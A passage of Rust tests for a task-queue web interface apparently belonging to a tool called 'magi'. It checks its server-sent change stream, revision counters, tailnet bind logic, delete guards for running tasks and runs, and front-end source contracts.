        // Read until the first event arrives rather than to end of stream: the
        // stream is endless by design, which is the point of the route.
        let mut seen = String::new();
        let mut buf = [0u8; 1024];
        while !seen.contains("event: change") {
            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
                .await
                .expect("the stream must speak within five seconds")
                .expect("read");
            assert!(read > 0, "the server closed the change stream: {seen}");
            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
        }

        assert!(
            seen.to_lowercase()
                .contains("content-type: text/event-stream"),
            "the browser only reconnects automatically for a real SSE stream: {seen}"
        );
        let data = seen
            .lines()
            .find_map(|l| l.strip_prefix("data:"))
            .expect("a data line");
        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
        assert!(
            payload["queue_rev"].is_u64()
                && payload["runs_rev"].is_u64()
                && payload["questions_rev"].is_u64()
                && payload["talks_rev"].is_u64()
                && payload["notifications_rev"].is_u64()
                && payload["loop_rev"].is_u64(),
            "the client needs one revision per store to know what to refetch, \
             and `talks_rev` is the only notification a standing talk gets - a \
             phone whose radio slept through a turn learns about it here, as \
             does one whose operator started the loop from another device: \
             {payload}"
        );

        // The front end re-polls health on a timer and on wake, and takes the
        // revisions from that answer whenever the stream is not up. So health
        // has to carry every key the stream carries: a phone on a link that
        // will not hold an SSE connection is exactly the phone that must still
        // notice a question, and a missing key there is not a 500 but a UI
        // that quietly stops updating.
        let health = f.get("/api/health").await.json();
        for key in [
            "queue_rev",
            "runs_rev",
            "questions_rev",
            "talks_rev",
            "notifications_rev",
            "loop_rev",
        ] {
            assert!(
                health[key].is_u64(),
                "health is the change stream's fallback and is missing `{key}`: {health}"
            );
        }
    }

    #[tokio::test]
    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
        let f = Fixture::start().await;
        let before = f.get("/api/health").await.json()["talks_rev"]
            .as_u64()
            .expect("talks_rev");

        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
        std::thread::sleep(Duration::from_millis(10));
        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
        on_disk.turns.push(crate::talk::Turn {
            breaks: Some(Vec::new()),
            messages: Vec::new(),
            posted_by: None,
            who: crate::talk::Who::Operator,
            body: "a new turn".to_owned(),
            at: Timestamp::now(),
            attachments: Vec::new(),
            usage: None,
        });
        f.talks().put(&mut on_disk).expect("record a turn");

        let after = f.get("/api/health").await.json()["talks_rev"]
            .as_u64()
            .expect("talks_rev");
        assert_ne!(
            before, after,
            "a phone must be able to notice a talk's reply without polling every store"
        );
    }

    #[test]
    fn bind_reads_back_from_the_spelling_the_cli_prints() {
        // The CLI shows the default in `--help` and parses whatever comes
        // back, so the two directions have to agree or `--bind auto` breaks
        // the moment someone copies the help text.
        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
        }
        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
        assert!("everywhere".parse::<Bind>().is_err());
    }

    #[test]
    fn an_explicit_bind_address_is_taken_verbatim() {
        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));

        let (addr, warning) = resolve_bind(&Bind::Addr(asked));

        assert_eq!(addr, asked);
        assert!(
            warning.is_none(),
            "an operator who named an address gets no lecture"
        );
    }

    #[test]
    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
        let (addr, warning) = resolve_bind(&Bind::Auto);

        // This has to hold on a CI runner with no `tailscale` and on a dev box
        // with one, so the invariant asserted is the one shared by both
        // outcomes: the address is either a real tailnet address offered
        // without comment, or loopback with an explanation. What must never
        // happen is a silent fallback - an operator told "listening on
        // 127.0.0.1" with no reason would go looking for a firewall.
        match addr {
            IpAddr::V4(ip) if is_tailnet(&ip) => {
                assert!(warning.is_none(), "a tailnet address needs no warning");
            }
            other => {
                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
                let warning = warning.expect("a fallback has to explain itself");
                assert!(
                    warning.contains("127.0.0.1") && warning.contains("local-only"),
                    "the warning says what happened and what it costs: {warning}"
                );
            }
        }
    }

    #[test]
    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
        // boundary cases are what stop us binding to some other tool's idea of
        // an address.
        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
    }

    #[test]
    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
        let ids = vec![
            "20260902-140501-aaaa".to_owned(),
            "20260902-140502-aabb".to_owned(),
        ];

        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");

        assert_eq!(missing.status, StatusCode::NOT_FOUND);
        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
        assert_eq!(short, "20260902-140502-aabb");
    }
    #[tokio::test]
    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
        // The prompt tells agents to reference attachments by bare filename.
        // A document served at `.../panel` resolves `shot.png` against its own
        // directory, i.e. `.../shot.png`, which is not the asset route - so a
        // panel written exactly as instructed showed broken images. Caught by
        // looking at a real one in a browser, not by reading the code.
        let fx = Fixture::start().await;
        let id = panel(
            &fx,
            "<img src=\"shot.png\">",
            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
        );

        // The frame's own URL ends in a filename, so its siblings are reachable.
        let doc = fx
            .get(&format!("/api/questions/{id}/panel/index.html"))
            .await;
        assert_eq!(doc.status, 200, "{}", doc.body);
        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));

        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
        assert_eq!(sibling.status, 200, "{}", sibling.body);
        assert_eq!(sibling.header("content-type"), Some("image/png"));
        assert_eq!(
            sibling.header("content-security-policy"),
            Some(PANEL_CSP),
            "the sibling route must carry the same policy as the asset route"
        );

        // The original spelling keeps working: HEAD on it is how the front end
        // decides whether to mount a frame at all.
        assert_eq!(
            fx.head(&format!("/api/questions/{id}/panel")).await.status,
            200
        );
    }

    #[test]
    fn delta_stamps_cover_add_update_remove_and_noop() {
        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
        let delta = diff_stamps(&before, &after, 42);
        assert_eq!(delta.base, 42);
        assert_eq!(delta.changed, ["b", "c"]);
        assert_eq!(delta.removed, ["a"]);
        let same = diff_stamps(&after, &after, 43);
        assert!(same.changed.is_empty() && same.removed.is_empty());
        assert_ne!(stamps_revision(&before), stamps_revision(&after));
        let nanos: Stamps = [("b".into(), (2, 20))].into();
        let same_ms: Stamps = [("b".into(), (3, 20))].into();
        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
        assert_eq!(stamps_revision(&Stamps::new()), 0);
    }

    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
        std::fs::create_dir_all(home.join("runs")).unwrap();
        Arc::new(Ui::new(
            Queue::at(home.join("queue")),
            Questions::at(home.join("questions")),
            Talks::at(home.join("talks")),
            home.join("runs"),
            home.to_owned(),
            PathBuf::from("/repo/magi"),
        ))
    }

    #[tokio::test]
    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
        let home = TempDir::new().unwrap();
        let ui = delta_test_ui(home.path());
        let mut task = Task::new(
            "stream task".into(),
            "text".into(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        ui.queue.put(&mut task).unwrap();
        let response = events(State(ui.clone())).await.into_response();
        let mut stream = response.into_body().into_data_stream();
        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
                .await
                .unwrap()
                .unwrap()
                .unwrap();
            let text = String::from_utf8(chunk.to_vec()).unwrap();
            let data = text
                .lines()
                .find_map(|line| {
                    line.strip_prefix("data: ")
                        .or_else(|| line.strip_prefix("data:"))
                })
                .unwrap();
            serde_json::from_str(data).unwrap()
        }
        let initial = change(&mut stream).await;
        assert!(initial.get("queue_delta").is_none());
        task.instruction.push_str(" changed");
        ui.queue.put(&mut task).unwrap();
        let updated = change(&mut stream).await;
        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
        assert_eq!(
            updated["queue_delta"]["changed"],
            serde_json::json!([task.id])
        );
        assert_eq!(
            updated["queue_rev"].as_u64(),
            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
        );
        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
        let removed = change(&mut stream).await;
        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
        assert_eq!(
            removed["queue_delta"]["removed"],
            serde_json::json!([task.id])
        );
    }

    #[tokio::test]
    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
        let home = TempDir::new().unwrap();
        let ui = delta_test_ui(home.path());
        let queue = ui.queue.clone();
        let query = |ids: Option<&str>| {
            Query(ListQuery {
                limit: Some(2),
                ids: ids.map(str::to_owned),
            })
        };
        let mut root = Task::new(
            "root".into(),
            "instruction".into(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        queue.put(&mut root).unwrap();
        let mut blocked = Task::new(
            "blocked".into(),
            "instruction".into(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        blocked.block(vec![root.id.clone()], None);
        queue.put(&mut blocked).unwrap();
        let whole =
            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
                .unwrap();
        let subset = serde_json::to_value(
            queue_list(State(ui.clone()), query(Some(&root.id)))
                .await
                .unwrap()
                .0,
        )
        .unwrap();
        assert_eq!(whole, subset, "requested root plus its blocked dependent");
        let blockers = serde_json::to_value(
            queue_list(State(ui.clone()), query(Some("")))
                .await
                .unwrap()
                .0,
        )
        .unwrap();
        assert_eq!(blockers.as_array().unwrap().len(), 1);
        assert_eq!(blockers[0]["id"], blocked.id);
        assert_eq!(
            blockers[0]["waits_on"],
            whole
                .as_array()
                .unwrap()
                .iter()
                .find(|row| row["id"] == blocked.id)
                .unwrap()["waits_on"]
        );

        for id in [
            "20260902-140501-aaaa",
            "20260902-140502-bbbb",
            "20260902-140503-cccc",
        ] {
            write_run(&ui.runs, id, RunStatus::Merged);
        }
        let old = serde_json::to_value(
            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
                .await
                .unwrap()
                .0,
        )
        .unwrap();
        assert!(
            old.as_array().unwrap().is_empty(),
            "older updates must not enter the window"
        );
        let newest = serde_json::to_value(
            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
                .await
                .unwrap()
                .0,
        )
        .unwrap();
        assert_eq!(newest.as_array().unwrap().len(), 1);
        assert_eq!(newest[0]["id"], "20260902-140503-cccc");

        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
        let talks = serde_json::to_value(
            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
                .await
                .unwrap()
                .0,
        )
        .unwrap();
        assert_eq!(talks.as_array().unwrap().len(), 1);
        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
        assert_eq!(
            serde_json::to_value(
                talks_list(State(ui.clone()), query(Some("")))
                    .await
                    .unwrap()
                    .0
            )
            .unwrap(),
            serde_json::json!([])
        );
    }

    #[tokio::test]
    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
    async fn delta_payload_benchmark() {
        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
        let ui = delta_test_ui(&home);
        let query = |ids: Option<String>| {
            Query(ListQuery {
                limit: Some(50),
                ids,
            })
        };
        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
        let queue_id = queue
            .iter()
            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
            .unwrap_or(&queue[0])
            .task
            .id
            .clone();
        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
            .await
            .unwrap()
            .0;
        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
            .await
            .unwrap()
            .0;
        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
            .await
            .unwrap()
            .0;
        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
        eprintln!(
            "DELTA_PAYLOAD {}",
            serde_json::json!({
                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
                "counts": [queue.len(), runs.len(), talks.len()],
                "blocked": queue_delta.len() - 1,
            })
        );
    }

    #[test]
    fn runs_revision_moves_when_deleting_an_older_run() {
        let temp = TempDir::new().expect("tempdir");
        let runs = temp.path().join("runs");
        std::fs::create_dir_all(&runs).expect("create runs dir");

        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");

        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
        std::thread::sleep(Duration::from_millis(10));
        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);

        let rev_before = runs_revision(&runs);
        assert!(rev_before > 0);

        let old_dir = runs.join("20260901-100000-old1");
        std::fs::remove_dir_all(&old_dir).expect("remove old run");

        let rev_after = runs_revision(&runs);
        assert_ne!(
            rev_before, rev_after,
            "deleting an older run must change the revision so other clients see the deletion"
        );
    }

    /// A run's own `run.json` on an explicit `runs` root, bypassing the
    /// process-global home entirely — `RunState::save` writes through
    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
    /// (see `tests::home_lock` in the integration suite for why).
    fn write_state(runs: &FsPath, state: &RunState) {
        let dir = runs.join(&state.id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(state).expect("serialize run"),
        )
        .expect("write run.json");
    }

    /// A seat starting or finishing is a write to `run.json` like any other,
    /// so it moves the same revision the change stream already watches —
    /// nothing new for `/api/events` to learn, but the property this feature
    /// depends on to reach the phone without a poll.
    #[test]
    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
        let temp = TempDir::new().expect("tempdir");
        let runs = temp.path().join("runs");
        std::fs::create_dir_all(&runs).expect("create runs dir");
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "task".to_owned(),
            Config::default(),
        );
        state.id = "20260902-100000-c0de".to_owned();
        write_state(&runs, &state);

        let rev_idle = runs_revision(&runs);
        std::thread::sleep(Duration::from_millis(10));
        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
        write_state(&runs, &state);
        let rev_started = runs_revision(&runs);
        assert_ne!(
            rev_idle, rev_started,
            "a seat starting must move the revision"
        );

        std::thread::sleep(Duration::from_millis(10));
        state.seat_finished("judge-1");
        write_state(&runs, &state);
        let rev_finished = runs_revision(&runs);
        assert_ne!(
            rev_started, rev_finished,
            "and clearing it again must move the revision a second time"
        );
    }

    #[tokio::test]
    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
        // `TaskView` flattens `Task`, so this is really asserting that
        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
        // never touched web.rs, so nothing here caught it if it had.
        let fx = Fixture::start().await;
        let q = fx.queue();

        let mut t = Task::new(
            "Task".to_owned(),
            "Instruction".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t.block(
            vec!["20260101-000000-dead".to_owned()],
            Some("waiting on Task 1".to_owned()),
        );
        t.answers.push(crate::queue::AnsweredQuestion {
            question: "Which backend?".to_owned(),
            answer: "SQLite".to_owned(),
        });
        q.put(&mut t).expect("put t");

        let res = fx.get("/api/queue").await;
        assert_eq!(res.status, 200);
        let list = res.json();
        let view = list
            .as_array()
            .expect("array")
            .iter()
            .find(|v| v["id"] == t.id)
            .expect("task in list");
        assert_eq!(view["status_str"], "blocked");
        assert_eq!(
            view["blocked_by"],
            serde_json::json!(["20260101-000000-dead"])
        );
        assert_eq!(view["block_reason"], "waiting on Task 1");
        assert_eq!(view["answers"][0]["question"], "Which backend?");
        assert_eq!(view["answers"][0]["answer"], "SQLite");

        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
        // but never `answers` - that is a settled decision, not state
        // describing the current block, so it survives.
        let res = fx
            .post(&format!("/api/queue/{}/hold", t.short()), None)
            .await;
        assert_eq!(res.status, 200);
        let held = res.json();
        assert_eq!(held["status_str"], "held");
        assert_eq!(held["blocked_by"], serde_json::json!([]));
        assert!(held["block_reason"].is_null());
        assert_eq!(held["answers"][0]["answer"], "SQLite");
    }

    #[tokio::test]
    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
        let fx = Fixture::start().await;
        let q = fx.queue();
        let mk = |title: &str| {
            Task::new(
                title.to_owned(),
                "Instruction".to_owned(),
                PathBuf::from("/repo"),
                Source::Human,
            )
        };
        let mut root = mk("root");
        root.hold_manual(Some("waiting".to_owned()));
        q.put(&mut root).unwrap();
        let mut mid = mk("mid");
        mid.block(vec![root.id.clone()], None);
        q.put(&mut mid).unwrap();
        let mut leaf = mk("leaf");
        leaf.block(vec![mid.id.clone()], None);
        q.put(&mut leaf).unwrap();

        let list = fx.get("/api/queue").await.json();
        let find = |id: &str| {
            list.as_array()
                .unwrap()
                .iter()
                .find(|v| v["id"] == id)
                .unwrap()
                .clone()
        };
        let leaf_view = find(&leaf.id);
        assert_eq!(
            leaf_view["waits_on"],
            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
        );
        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
        assert_eq!(
            find(&mid.id)["waits_on"],
            serde_json::json!([format!("{} (held)", root.short())])
        );
        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
    }

    #[tokio::test]
    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
        let fx = Fixture::start().await;
        let q = fx.queue();

        // 1. A queued task with runs attached can be deleted.
        let mut t1 = Task::new(
            "Task 1".to_owned(),
            "Instruction 1".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        let run_id = "20260901-000000-r111";
        t1.runs.push(run_id.to_owned());
        write_run(&fx.runs(), run_id, RunStatus::Merged);
        q.put(&mut t1).expect("put t1");

        // Delete by short id
        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
        assert_eq!(res.status, 204);
        assert!(res.body.is_empty(), "204 No Content has no body");
        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
        assert!(
            fx.runs().join(run_id).exists(),
            "run directory must not be deleted when its task is deleted"
        );

        // 2. A task a live daemon is running is refused with 409.
        let mut t2 = Task::new(
            "Task 2".to_owned(),
            "Instruction 2".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t2.status = TaskStatus::Running;
        q.put(&mut t2).expect("put t2");
        let mut beat = crate::daemon::Status::new();
        beat.current = vec![crate::daemon::Current {
            task: t2.id.clone(),
            run: "20260901-000000-r222".to_owned(),
        }];
        beat.updated_at = jiff::Timestamp::now();
        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
            .expect("publish a heartbeat");
        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
        assert_eq!(res.status, 409);
        assert!(
            res.json()["error"]
                .as_str()
                .unwrap()
                .contains("live daemon")
        );
        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");

        // 3. The same `running` status and an orphaned lock, with no daemon
        // behind either, is a leftover and deletable. Before this the phone
        // refused it for good: the status never changes on its own and
        // nothing drops a lock whose process is gone.
        // The daemon is killed: the file stays, the heartbeat stops.
        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
            .expect("leave a stale heartbeat");
        let mut t3 = Task::new(
            "Task 3".to_owned(),
            "Instruction 3".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t3.status = TaskStatus::Running;
        q.put(&mut t3).expect("put t3");
        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
        assert_eq!(res.status, 204);
        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
        assert!(
            q.claim(&t3.id).is_ok(),
            "the stale lock went with it, so the id is claimable again"
        );

        // 4. Missing id returns 404
        let res = fx.delete("/api/queue/nonexistent").await;
        assert_eq!(res.status, 404);
    }

    #[tokio::test]
    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
        let fx = Fixture::start().await;
        let runs = fx.runs();

        // 1. Finished and folded run can be deleted along with artifacts
        let run_id = "20260901-000000-fold";
        let mut state = RunState::new(
            PathBuf::from("/repo"),
            "main".to_owned(),
            "abc".to_owned(),
            "instruction".to_owned(),
            Config::default(),
        );
        state.id = run_id.to_owned();
        state.status = RunStatus::Merged;
        state.candidates.push(crate::run::Candidate {
            index: 0,
            label: 'A',
            agent: "a".to_owned(),
            branch: "b".to_owned(),
            worktree: PathBuf::from("/w"),
            summary: String::new(),
            stat: String::new(),
            files: 1,
            commits: 1,
            empty: false,
            failed: None,
            verified_noop: None,
            duration_ms: 0,
            folded: true,
        });
        let dir = runs.join(run_id);
        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
            .expect("write artifact");
        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
            .expect("write run.json");

        // Delete by short id
        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
        assert_eq!(res.status, 204);
        assert!(res.body.is_empty(), "204 has no body");
        assert!(!dir.exists(), "run directory and artifacts must be deleted");

        // 2. A run a live daemon is working on is refused with 409. The
        // heartbeat is what makes it refusable: an unfinished run with no
        // daemon behind it is a leftover from a killed process, and case 1
        // above would otherwise be impossible to tell apart from this one.
        let run_running = "20260901-000000-rung";
        write_run(&runs, run_running, RunStatus::Prep);
        let mut beat = crate::daemon::Status::new();
        beat.current = vec![crate::daemon::Current {
            task: "20260901-000000-task".to_owned(),
            run: run_running.to_owned(),
        }];
        beat.updated_at = jiff::Timestamp::now();
        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
            .expect("publish a heartbeat");
        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
        assert_eq!(res.status, 409);
        assert!(
            res.json()["error"]
                .as_str()
                .unwrap()
                .contains("live daemon"),
            "the refusal must say who is holding it"
        );
        assert!(
            runs.join(run_running).exists(),
            "a run in flight keeps its directory"
        );

        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
        let run_unfolded = "20260901-000000-unfd";
        let mut state2 = RunState::new(
            PathBuf::from("/repo"),
            "main".to_owned(),
            "abc".to_owned(),
            "instruction".to_owned(),
            Config::default(),
        );
        state2.id = run_unfolded.to_owned();
        state2.status = RunStatus::Ready;
        state2.candidates.push(crate::run::Candidate {
            index: 0,
            label: 'A',
            agent: "a".to_owned(),
            branch: "b".to_owned(),
            worktree: PathBuf::from("/w"),
            summary: String::new(),
            stat: String::new(),
            files: 1,
            commits: 1,
            empty: false,
            failed: None,
            verified_noop: None,
            duration_ms: 0,
            folded: false,
        });
        let dir2 = runs.join(run_unfolded);
        std::fs::create_dir_all(&dir2).expect("create dir2");
        std::fs::write(
            dir2.join("run.json"),
            serde_json::to_string(&state2).unwrap(),
        )
        .expect("write run.json");

        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
        assert_eq!(res.status, 409);
        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
        assert!(dir2.exists(), "unfolded run directory is kept");

        // 4. Missing id returns 404
        let res = fx.delete("/api/runs/nonexistent").await;
        assert_eq!(res.status, 404);
    }

    /// The queue tiles on the Stats tab must render even on a home with no
    /// runs at all: queue state is not derived from run history, so hiding
    /// the whole dashboard body behind "no runs yet" would drop the one
    /// thing this tab promises unconditionally (queued/running/held/done).
    /// A DOM-level test would need a browser this suite does not have, so
    /// this pins the same invariant textually: `renderStatsQueue` is called
    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
    /// block that gates the run-derived panels.
    #[test]
    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
        let start = APP_JS
            .find("function renderStats() {")
            .expect("renderStats");
        let end = start
            + APP_JS[start..]
                .find("function statsTile(")
                .expect("the next top-level function");
        let body = &APP_JS[start..end];

        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
        let gate_end = gate_start
            + body[gate_start..]
                .find("}\n  renderStatsQueue")
                .expect("the gate's own closing brace, right before the unconditional call");
        let gated = &body[gate_start..gate_end];

        assert_eq!(
            body.matches("renderStatsQueue(").count(),
            1,
            "renderStats must call renderStatsQueue exactly once: {body}"
        );
        assert!(
            !gated.contains("renderStatsQueue"),
            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
             run-derived panels on an empty run history - the queue panel has to render \
             regardless: {gated}"
        );
    }

    #[test]
    fn web_ui_delete_contract_in_front_end() {
        // 1. API block has both delete endpoints
        assert!(APP_JS.contains("deleteRun:"));
        assert!(APP_JS.contains("deleteTask:"));

        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
            ..APP_JS.find("function renderRuns").unwrap()];
        assert!(!run_cards_slice.to_lowercase().contains("delete"));

        // 3. Run detail has delete entry and reasons
        assert!(APP_JS.contains("renderRunDelete"));
        assert!(APP_JS.contains("runDeleteReason"));
        assert!(APP_JS.contains("magi fold"));
        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));

        // 4. Two-step delete arming and focus on Cancel
        assert!(APP_JS.contains("cancel.focus"));
        assert!(APP_JS.contains("armedRunDelete"));
        assert!(APP_JS.contains("renderTaskDeleteBox"));
        assert!(APP_JS.contains("armed${cap(key)}"));

        // 5. Running task has disabled delete
        assert!(APP_JS.contains("disabled: status === \"running\""));
    }

    /// Every element a run card's updater reaches for must be in the `refs`
    /// the builder handed it.
    ///
    /// `createRunCard` builds its elements, appends them to the card, and then
    /// lists them again in `row.refs`. That second list is the one the updater
    /// uses, and nothing connects the two - an element can be built, appended
    /// and rendered, and still be missing from `refs`. `superseded` was, for
    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
    /// exception took `syncList` with it, and the deck showed
    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
    /// line is computed before the cards, which is why the failure looked like
    /// a server that had lost its runs rather than a front end that had
    /// stopped rendering them.
    ///
    /// A `cargo test` cannot execute the front end, so this reads the two
    /// halves out of the source and compares them as sets. It is not a check
    /// on the wording of either list: adding an element, renaming one, or
    /// reordering them all keeps this passing, and only using one the builder
    /// never published fails it.
    #[test]
    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
        let build = APP_JS
            .find("function createRunCard")
            .expect("createRunCard exists");
        let update = APP_JS
            .find("function updateRunCard")
            .expect("updateRunCard exists");
        let end = APP_JS
            .find("function renderRuns")
            .expect("renderRuns exists");

        // The builder's published set: the object literal assigned to `refs`.
        let builder = &APP_JS[build..update];
        let open = builder.find("refs = {").expect("createRunCard sets refs");
        let literal = &builder[open + "refs = {".len()..];
        let close = literal.find('}').expect("the refs literal is closed");
        let published: HashSet<&str> = literal[..close]
            .split(',')
            // `name` and `name: value` both bind `name`.
            .filter_map(|entry| entry.split(':').next())
            .map(str::trim)
            .filter(|name| !name.is_empty())
            .collect();
        assert!(
            published.len() > 5,
            "the refs literal did not parse into names: {published:?}"
        );

        // What the updaters reach for: every `r.<name>`, where `r` is the
        // `const r = row.refs` alias both functions open with.
        let mut used: Vec<&str> = Vec::new();
        let updaters = &APP_JS[update..end];
        for (at, _) in updaters.match_indices("r.") {
            // `r` must be the whole identifier, not the tail of another one
            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
            let before = updaters[..at].chars().next_back();
            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
                continue;
            }
            let rest = &updaters[at + 2..];
            let len = rest
                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
                .unwrap_or(rest.len());
            if len > 0 {
                used.push(&rest[..len]);
            }
        }
        assert!(
            used.len() > 5,
            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
        );

        let missing: Vec<&str> = used
            .iter()
            .copied()
            .filter(|name| !published.contains(name))
            .collect();
        assert!(
            missing.is_empty(),
            "a run card's updater reaches for {missing:?}, which `createRunCard` \
             never put in `refs` - every card will throw and the list will \
             render empty under a count line that says otherwise. Published: \
             {published:?}"
        );
    }

    #[tokio::test]
    async fn folding_from_the_phone_reports_what_it_removed() {
        let fx = Fixture::start().await;
        let runs = fx.runs();

        // A run with no candidates has nothing to fold, which is a 200 with an
        // honest count rather than an error: the operator asked for the trees
        // to be gone and they are.
        let id = "20260901-000000-fold";
        write_run(&runs, id, RunStatus::Stalled);
